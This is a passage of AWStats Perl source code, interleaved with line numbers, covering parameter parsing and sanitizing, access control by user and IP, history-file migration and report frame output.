. ( $count ? Format_Number(( $total_p / $count )) : " " ) . "</td>";
16408
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16410
. ( $count ? Format_Number(( $total_h / $count )) : " " ) . "</td>";
16412
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16415
$count ? Format_Bytes( $total_k / $count ) : " " )
16418
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16419
print "<td> </td>";
16425
if ( $ExtraAddSumRow[$extranum] ) {
16427
print "<td class=\"aws\"><b>$Message[102]</b></td>";
16428
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
16429
print "<td>" . Format_Number(($total_p)) . "</td>";
16431
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
16432
print "<td>" . Format_Number(($total_h)) . "</td>";
16434
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
16435
print "<td>" . Format_Bytes($total_k) . "</td>";
16437
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
16438
print "<td> </td>";
16445
#------------------------------------------------------------------------------
16447
#------------------------------------------------------------------------------
16448
( $DIR = $0 ) =~ s/([^\/\\]+)$//;
16449
( $PROG = $1 ) =~ s/\.([^\.]*)$//;
16452
$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
16454
$starttime = time();
16456
# Get current time (time when AWStats was started)
16457
( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
16458
= localtime($starttime);
16459
$nowweekofmonth = int( $nowday / 7 );
16461
int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
16462
if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
16463
$nowdaymod = $nowday % 7;
16465
$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
16467
if ( $nowdaymod <= $nowwday ) {
16468
if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
16469
$nowweekofmonth = $nowweekofmonth + 1;
16472
if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
16474
# Change format of time variables
16475
$nowweekofmonth = "0$nowweekofmonth";
16476
if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
16477
if ( $nowyear < 100 ) { $nowyear += 2000; }
16478
else { $nowyear += 1900; }
16479
$nowsmallyear = $nowyear;
16480
$nowsmallyear =~ s/^..//;
16481
if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
16482
if ( $nowday < 10 ) { $nowday = "0$nowday"; }
16483
if ( $nowhour < 10 ) { $nowhour = "0$nowhour"; }
16484
if ( $nowmin < 10 ) { $nowmin = "0$nowmin"; }
16485
if ( $nowsec < 10 ) { $nowsec = "0$nowsec"; }
16486
$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
16488
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
16490
$tomorrowsec, $tomorrowmin, $tomorrowhour,
16491
$tomorrowday, $tomorrowmonth, $tomorrowyear
16493
= localtime( $starttime + 86400 );
16494
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
16495
else { $tomorrowyear += 1900; }
16496
if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
16497
if ( $tomorrowday < 10 ) { $tomorrowday = "0$tomorrowday"; }
16498
if ( $tomorrowhour < 10 ) { $tomorrowhour = "0$tomorrowhour"; }
16499
if ( $tomorrowmin < 10 ) { $tomorrowmin = "0$tomorrowmin"; }
16500
if ( $tomorrowsec < 10 ) { $tomorrowsec = "0$tomorrowsec"; }
16510
my @AllowedCLIArgs = (
16511
'migrate', 'config',
16512
'logfile', 'output',
16513
'runascli', 'update',
16514
'staticlinks', 'staticlinksext',
16515
'noloadplugin', 'loadplugin',
16516
'hostfilter', 'urlfilter',
16517
'refererpagesfilter', 'lang',
16519
'framename', 'debug',
16520
'showsteps', 'showdropped',
16521
'showcorrupted', 'showunknownorigin',
16522
'showdirectorigin', 'limitflush',
16523
'confdir', 'updatefor',
16524
'hostfilter', 'hostfilterex',
16525
'urlfilter', 'urlfilterex',
16526
'refererpagesfilter', 'refererpagesfilterex',
16527
'pluginmode', 'filterrawlog'
16530
# Parse input parameters and sanitize them for security reasons
16533
# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
16534
# be set to force AWStats to be ran as CLI even from a web page.
16535
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
16536
if ( $ENV{'GATEWAY_INTERFACE'} ) { # Run from a browser as CGI
16537
$DebugMessages = 0;
16539
# Prepare QueryString
16540
if ( $ENV{'CONTENT_LENGTH'} ) {
16542
read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
16544
if ( $ENV{'QUERY_STRING'} ) {
16545
$QueryString = $ENV{'QUERY_STRING'};
16547
# Set & and & to &
16548
$QueryString =~ s/&/&/g;
16549
$QueryString =~ s/&/&/g;
16552
# Remove all XSS vulnerabilities coming from AWStats parameters
16553
$QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
16556
if ( $QueryString =~ /LogFile=([^&]+)/i ) {
16558
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
16562
# No update but report by default when run from a browser
16563
$UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
16565
if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
16566
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
16567
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
16568
$PluginMode = &Sanitize( "$1", 1 );
16570
if ( $QueryString =~ /configdir=([^&]+)/i ) {
16571
$DirConfig = &Sanitize("$1");
16572
$DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL
16573
$DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL
16577
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
16578
$FilterIn{'host'} = "$1";
16579
} # Filter on host list can also be defined with hostfilter=filter
16580
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
16581
$FilterEx{'host'} = "$1";
16583
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
16584
$FilterIn{'url'} = "$1";
16585
} # Filter on URL list can also be defined with urlfilter=filter
16586
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
16587
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
16588
$FilterIn{'refererpages'} = "$1";
16589
} # Filter on referer list can also be defined with refererpagesfilter=filter
16590
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
16591
$FilterEx{'refererpages'} = "$1";
16594
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
16595
$FilterIn{'host'} = "$1";
16596
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
16597
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
16598
$FilterIn{'host'} = "$1";
16599
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
16600
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
16601
$FilterIn{'url'} = "$1";
16602
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
16603
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
16604
$FilterIn{'refererpages'} = "$1";
16605
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
16608
if ( $QueryString =~ /(^|-|&|&)migrate=([^&]+)/i ) {
16609
$MigrateStats = &Sanitize("$2");
16610
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
16611
$SiteConfig = $5 ? $5 : 'xxx';
16612
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
16615
else { # Run from command line
16616
$DebugMessages = 1;
16618
# Prepare QueryString
16619
for ( 0 .. @ARGV - 1 ) {
16622
if ( $ARGV[$_] =~ /(^|-|&|&)migrate=([^&]+)/i ) {
16623
$MigrateStats = "$2";
16624
$MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
16625
$SiteConfig = $5 ? $5 : 'xxx';
16626
$SiteConfig =~ s/^\.//; # SiteConfig is used to find config file
16630
# TODO Check if ARGV is in @AllowedArg
16631
if ($QueryString) { $QueryString .= '&'; }
16632
my $NewLinkParams = $ARGV[$_];
16633
$NewLinkParams =~ s/^-+//;
16634
$QueryString .= "$NewLinkParams";
16637
# Remove all XSS vulnerabilities coming from AWStats parameters
16638
$QueryString = CleanXSS($QueryString);
16641
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
16642
&& $QueryString =~ /LogFile=([^&]+)/i )
16645
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
16649
# Update with no report by default when run from command line
16652
if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
16653
if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
16654
if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
16655
$PluginMode = &Sanitize( "$1", 1 );
16657
if ( $QueryString =~ /configdir=([^&]+)/i ) {
16658
$DirConfig = &Sanitize("$1");
16659
$DirConfig =~ s/\\{2,}/\\/g; # This is to clean Remote URL
16660
$DirConfig =~ s/\/{2,}/\//g; # This is to clean Remote URL
16664
if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
16665
$FilterIn{'host'} = "$1";
16666
} # Filter on host list can also be defined with hostfilter=filter
16667
if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
16668
$FilterEx{'host'} = "$1";
16670
if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
16671
$FilterIn{'url'} = "$1";
16672
} # Filter on URL list can also be defined with urlfilter=filter
16673
if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
16674
if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
16675
$FilterIn{'refererpages'} = "$1";
16676
} # Filter on referer list can also be defined with refererpagesfilter=filter
16677
if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
16678
$FilterEx{'refererpages'} = "$1";
16681
if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
16682
$FilterIn{'host'} = "$1";
16683
} # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
16684
if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
16685
$FilterIn{'host'} = "$1";
16686
} # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
16687
if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
16688
$FilterIn{'url'} = "$1";
16689
} # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
16690
if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
16691
$FilterIn{'refererpages'} = "$1";
16692
} # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
16693
# Config parameters
16694
if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
16697
if ( $QueryString =~ /showsteps/i ) {
16699
$QueryString =~ s/showsteps[^&]*//i;
16701
if ( $QueryString =~ /showcorrupted/i ) {
16702
$ShowCorrupted = 1;
16703
$QueryString =~ s/showcorrupted[^&]*//i;
16705
if ( $QueryString =~ /showdropped/i ) {
16707
$QueryString =~ s/showdropped[^&]*//i;
16709
if ( $QueryString =~ /showunknownorigin/i ) {
16710
$ShowUnknownOrigin = 1;
16711
$QueryString =~ s/showunknownorigin[^&]*//i;
16713
if ( $QueryString =~ /showdirectorigin/i ) {
16714
$ShowDirectOrigin = 1;
16715
$QueryString =~ s/showdirectorigin[^&]*//i;
16718
if ( $QueryString =~ /(^|&|&)staticlinks/i ) {
16719
$StaticLinks = "$PROG.$SiteConfig";
16721
if ( $QueryString =~ /(^|&|&)staticlinks=([^&]+)/i ) {
16722
$StaticLinks = "$2";
16723
} # When ran from awstatsbuildstaticpages.pl
16724
if ( $QueryString =~ /(^|&|&)staticlinksext=([^&]+)/i ) {
16727
if ( $QueryString =~ /(^|&|&)framename=([^&]+)/i ) { $FrameName = "$2"; }
16728
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) { $Debug = $2; }
16729
if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i ) {
16730
$DatabaseBreak = $2;
16732
if ( $QueryString =~ /(^|&|&)updatefor=(\d+)/i ) { $UpdateFor = $2; }
16734
if ( $QueryString =~ /(^|&|&)noloadplugin=([^&]+)/i ) {
16735
foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
16737
if ( $QueryString =~ /(^|&|&)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
16739
# Get/Define output
16740
if ( $QueryString =~
16741
/(^|&|&)output(=[^&]*|)(.*)(&|&)output(=[^&]*|)(&|$)/i )
16743
error( "Only 1 output option is allowed", "", "", 1 );
16745
if ( $QueryString =~ /(^|&|&)output(=[^&]*|)(&|$)/i ) {
16747
# At least one output expected. We define %HTMLOutput
16748
my $outputlist = "$2";
16750
$outputlist =~ s/^=//;
16751
foreach my $outputparam ( split( /,/, $outputlist ) ) {
16752
$outputparam =~ s/:(.*)$//;
16753
if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
16757
# If on command line and no update
16758
if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
16762
# If no output defined, used default value
16763
if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
16765
if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
16766
$HTMLOutput{'main'} = 1;
16769
# Remove -output option with no = from QueryString
16770
$QueryString =~ s/(^|&|&)output(&|$)/$1$2/i;
16771
$QueryString =~ s/&+$//;
16773
# Check year, month, day, hour parameters
16774
if ( $QueryString =~ /(^|&|&)month=(year)/i ) {
16775
error("month=year is a deprecated option. Use month=all instead.");
16777
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
16778
$YearRequired = sprintf( "%04d", $2 );
16780
else { $YearRequired = "$nowyear"; }
16781
if ( $QueryString =~ /(^|&|&)month=(\d{1,2})/i ) {
16782
$MonthRequired = sprintf( "%02d", $2 );
16784
elsif ( $QueryString =~ /(^|&|&)month=(all)/i ) { $MonthRequired = 'all'; }
16785
else { $MonthRequired = "$nowmonth"; }
16786
if ( $QueryString =~ /(^|&|&)day=(\d{1,2})/i ) {
16787
$DayRequired = sprintf( "%02d", $2 );
16788
} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
16789
else { $DayRequired = ''; }
16790
if ( $QueryString =~ /(^|&|&)hour=(\d{1,2})/i ) {
16791
$HourRequired = sprintf( "%02d", $2 );
16792
} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
16793
else { $HourRequired = ''; }
16795
# Check parameter validity
16798
# Print AWStats and Perl version
16800
debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
16801
debug( "DIR=$DIR PROG=$PROG Extension=$Extension", 2 );
16802
debug( "QUERY_STRING=$QueryString", 2 );
16803
debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
16804
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
16805
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
16806
debug( "UpdateFor=$UpdateFor", 2 );
16807
debug( "PluginMode=$PluginMode", 2 );
16808
debug( "DirConfig=$DirConfig", 2 );
16811
# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
16812
if ( $ENV{'AWSTATS_CONFIG'} ) {
16813
$ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
16814
} # For backward compatibility
16815
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
16817
debug( "AWSTATS_FORCE_CONFIG parameter is defined to '"
16818
. $ENV{'AWSTATS_FORCE_CONFIG'}
16819
. "'. $PROG will use this as config value." );
16821
$SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
16824
# Display help information
16825
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
16829
$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
16831
#$ENV{'SERVER_NAME'}||=$SiteConfig; # For thoose who use __SERVER_NAME__ in conf file and use CLI.
16832
$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
16834
# Read config file (SiteConfig must be defined)
16835
&Read_Config($DirConfig);
16838
if ( $QueryString =~ /(^|&|&)lang=([^&]+)/i ) { $Lang = "$2"; }
16839
if ( !$Lang || $Lang eq 'auto' ) { # If lang not defined or forced to auto
16840
my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
16841
$langlist =~ s/;[^,]*//g;
16844
"Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
16848
foreach my $code ( split( /,/, $langlist ) )
16849
{ # Search for a valid lang in priority
16850
if ( $LangBrowserToLangAwstats{$code} ) {
16851
$Lang = $LangBrowserToLangAwstats{$code};
16852
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
16856
if ( $LangBrowserToLangAwstats{$code} ) {
16857
$Lang = $LangBrowserToLangAwstats{$code};
16858
if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
16863
if ( !$Lang || $Lang eq 'auto' ) {
16865
debug( " No language defined or available. Will use Lang=en", 1 );
16870
# Check and correct bad parameters
16873
# Now SiteDomain is defined
16875
if ( $Debug && !$DebugMessages ) {
16877
"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
16881
# Define frame name and correct variable for frames
16882
if ( !$FrameName ) {
16883
if ( $ENV{'GATEWAY_INTERFACE'}
16884
&& $UseFramesWhenCGI
16885
&& $HTMLOutput{'main'}
16888
$FrameName = 'index';
16890
else { $FrameName = 'main'; }
16893
# Load Message files, Reference data files and Plugins
16894
if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
16895
if ( $FrameName ne 'index' ) {
16896
&Read_Language_Data($Lang);
16897
if ( $FrameName ne 'mainleft' ) {
16898
my %datatoload = ();
16900
$filedomains, $filemime, $filerobots, $fileworms,
16901
$filebrowser, $fileos, $filese
16906
'browsers', 'operating_systems',
16909
my ( $filestatushttp, $filestatussmtp ) =
16910
( 'status_http', 'status_smtp' );
16911
if ( $LevelForBrowsersDetection eq 'allphones' ) {
16912
$filebrowser = 'browsers_phone';
16914
if ($UpdateStats) { # If update
16915
if ($LevelForFileTypesDetection) {
16916
$datatoload{$filemime} = 1;
16917
} # Only if need to filter on known extensions
16918
if ($LevelForRobotsDetection) {
16919
$datatoload{$filerobots} = 1;
16921
if ($LevelForWormsDetection) {
16922
$datatoload{$fileworms} = 1;
16924
if ($LevelForBrowsersDetection) {
16925
$datatoload{$filebrowser} = 1;
16927
if ($LevelForOSDetection) {
16928
$datatoload{$fileos} = 1;
16930
if ($LevelForRefererAnalyze) {
16931
$datatoload{$filese} = 1;
16933
# if (...) { $datatoload{'referer_spam'}=1; }
16935
if ( scalar keys %HTMLOutput ) { # If output
16936
if ( $ShowDomainsStats || $ShowHostsStats ) {
16937
$datatoload{$filedomains} = 1;
16938
} # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
16939
if ($ShowFileTypesStats) { $datatoload{$filemime} = 1; }
16940
if ($ShowRobotsStats) { $datatoload{$filerobots} = 1; }
16941
if ($ShowWormsStats) { $datatoload{$fileworms} = 1; }
16942
if ($ShowBrowsersStats) { $datatoload{$filebrowser} = 1; }
16943
if ($ShowOSStats) { $datatoload{$fileos} = 1; }
16944
if ($ShowOriginStats) { $datatoload{$filese} = 1; }
16945
if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
16946
if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
16948
&Read_Ref_Data( keys %datatoload );
16953
# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
16954
if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
16956
} # Run from a browser as CGI
16958
# Init other parameters
16959
$NBOFLINESFORBENCHMARK--;
16960
if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
16961
if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
16964
if ( !$DirData || $DirData =~ /^\./ ) {
16965
if ( !$DirData || $DirData eq '.' ) {
16967
} # If not defined or chosen to '.' value then DirData is current dir
16968
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
16970
$DirData ||= '.'; # If current dir not defined then we put it to '.'
16971
$DirData =~ s/[\\\/]+$//;
16973
if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
16974
else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
16976
# Should we link to ourselves or to a wrapper script
16977
$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
16978
if (index($AWScript,'?')>-1)
16980
$AWScript .= '&'; # $AWScript contains URL parameters
16988
# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
16989
if ( !$HeaderHTMLSent ) { &html_head; }
16991
# AWStats output is replaced by a plugin output
16994
# my $function="BuildFullHTMLOutput_$PluginMode()";
16995
# eval("$function");
16996
my $function = "BuildFullHTMLOutput_$PluginMode";
16998
if ( $? || $@ ) { error("$@"); }
17004
if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
17006
if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
17007
if ( !$ENV{"REMOTE_USER"} ) {
17009
"Access to statistics is only allowed from an authenticated session to authenticated users."
17012
if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
17013
my $userisinlist = 0;
17014
my $remoteuser = quotemeta( $ENV{"REMOTE_USER"} );
17015
$remoteuser =~ s/\s/%20/g
17016
; # Allow authenticated user with space in name to be compared to allowed user list
17017
my $currentuser = qr/^$remoteuser$/i; # Set precompiled regex
17018
foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
17019
if (/$currentuser/o) { $userisinlist = 1; last; }
17021
if ( !$userisinlist ) {
17023
. $ENV{"REMOTE_USER"}
17024
. "' is not allowed to access statistics of this domain/config."
17029
if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
17030
my $IPAddress = $ENV{"REMOTE_ADDR"}; # IPv4 or IPv6
17031
my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
17032
my @allowaccessfromipaddresses =
17033
split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
17034
my $allowaccess = 0;
17035
foreach my $ipaddressrange (@allowaccessfromipaddresses) {
17036
if ( $ipaddressrange !~
17037
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
17038
&& $ipaddressrange !~
17039
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
17042
"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
17047
if ( $ipaddressrange =~
17048
/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
17050
my $ipmin = &Convert_IP_To_Decimal($1);
17051
my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
17053
# Is it an authorized ip ?
17054
if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
17062
if ( $ipaddressrange =~
17063
/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
17065
if ( $ipaddressrange =~ /::\// ) {
17066
my @IPv6split = split( /::/, $ipaddressrange );
17067
if ( $IPAddress =~ /^$IPv6split[0]/ ) {
17072
elsif ( $ipaddressrange == $IPAddress ) {
17078
if ( !$allowaccess ) {
17079
error( "Access to statistics is not allowed from your IP Address "
17080
. $ENV{"REMOTE_ADDR"} );
17083
if ( ( $UpdateStats || $MigrateStats )
17084
&& ( !$AllowToUpdateStatsFromBrowser )
17085
&& $ENV{'GATEWAY_INTERFACE'} )
17088
. ( $UpdateStats ? "Update" : "Migrate" )
17089
. " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
17092
if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
17093
if ( !$AllowFullYearView ) {
17095
"Full year view has not been allowed (AllowFullYearView is set to 0)."
17098
if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
17100
"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
17105
#------------------------------------------
17106
# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
17107
#------------------------------------------
17108
if ($MigrateStats) {
17109
if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
17110
if ( $MigrateStats !~
17111
/^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
17114
"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
17119
$MonthRequired = "$2";
17120
$YearRequired = "$3";
17121
$DayRequired = "$4";
17122
$HourRequired = "$5";
17123
$FileSuffix = "$6";
17126
if ( !$DirData || $DirData =~ /^\./ ) {
17127
if ( !$DirData || $DirData eq '.' ) {
17129
} # If not defined or chosen to '.' value then DirData is current dir
17130
elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
17132
$DirData ||= '.'; # If current dir not defined then we put it to '.'
17133
$DirData =~ s/[\\\/]+$//;
17134
print "Start migration for file '$MigrateStats'.";
17135
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
17136
if ($EnableLockForUpdate) { &Lock_Update(1); }
17138
&Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
17139
$HourRequired, 1, 0, 'all' );
17140
if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
17141
unlink "$newhistory";
17143
"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
17145
$ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
17147
. " or file might be opened."
17150
if ($EnableLockForUpdate) { &Lock_Update(0); }
17151
print "Migration for file '$MigrateStats' successful.";
17152
print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
17157
# Output main frame page and exit. This must be after the security check.
17158
if ( $FrameName eq 'index' ) {
17160
# Define the NewLinkParams for main chart
17161
my $NewLinkParams = ${QueryString};
17162
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
17163
$NewLinkParams =~ s/(&|&)+/&/i;
17164
$NewLinkParams =~ s/^&//;
17165
$NewLinkParams =~ s/&$//;
17166
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
17168
# Exit if main frame
17169
print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
17170
print "<frame name=\"mainleft\" src=\""
17171
. XMLEncode("$AWScript${NewLinkParams}framename=mainleft")
17172
. "\" noresize=\"noresize\" frameborder=\"0\" />\n";
17173
print "<frame name=\"mainright\" src=\""
17174
. XMLEncode("$AWScript${NewLinkParams}framename=mainright")
17175
. "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
17176
print "<noframes><body>";
17177
print "Your browser does not support frames.<br />\n";
17178
print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
17179
print "to see your reports.<br />\n";
17180
print "</body></noframes>\n";
17181
print "</frameset>\n";
17187
"01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
17188
"04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
17189
"07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
17190
"10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
17193
# Build ListOfYears list with all existing years
17195
$lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
17196
$lasthourbeforeupdate, $lastdatebeforeupdate
17198
= ( 0, 0, 0, 0, 0 );
17200
if ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
17201
elsif ( $DatabaseBreak eq 'year' ) { $datemask = '(\d\d\d\d)'; }
17202
elsif ( $DatabaseBreak eq 'day' ) { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
17203
elsif ( $DatabaseBreak eq 'hour' ) {
17204
$datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
17209
"Scan for last history files into DirData='$DirData' with mask='$datemask'"
17213
my $retval = opendir( DIR, "$DirData" );
17216
error( "Failed to open directory $DirData : $!");
17218
my $regfilesuffix = quotemeta($FileSuffix);
17219
foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
17220
file_filt sort readdir DIR )
17222
/^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
17223
if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
17225
# ListOfYears contains max month found
17226
$ListOfYears{"$2"} = "$1";
17228
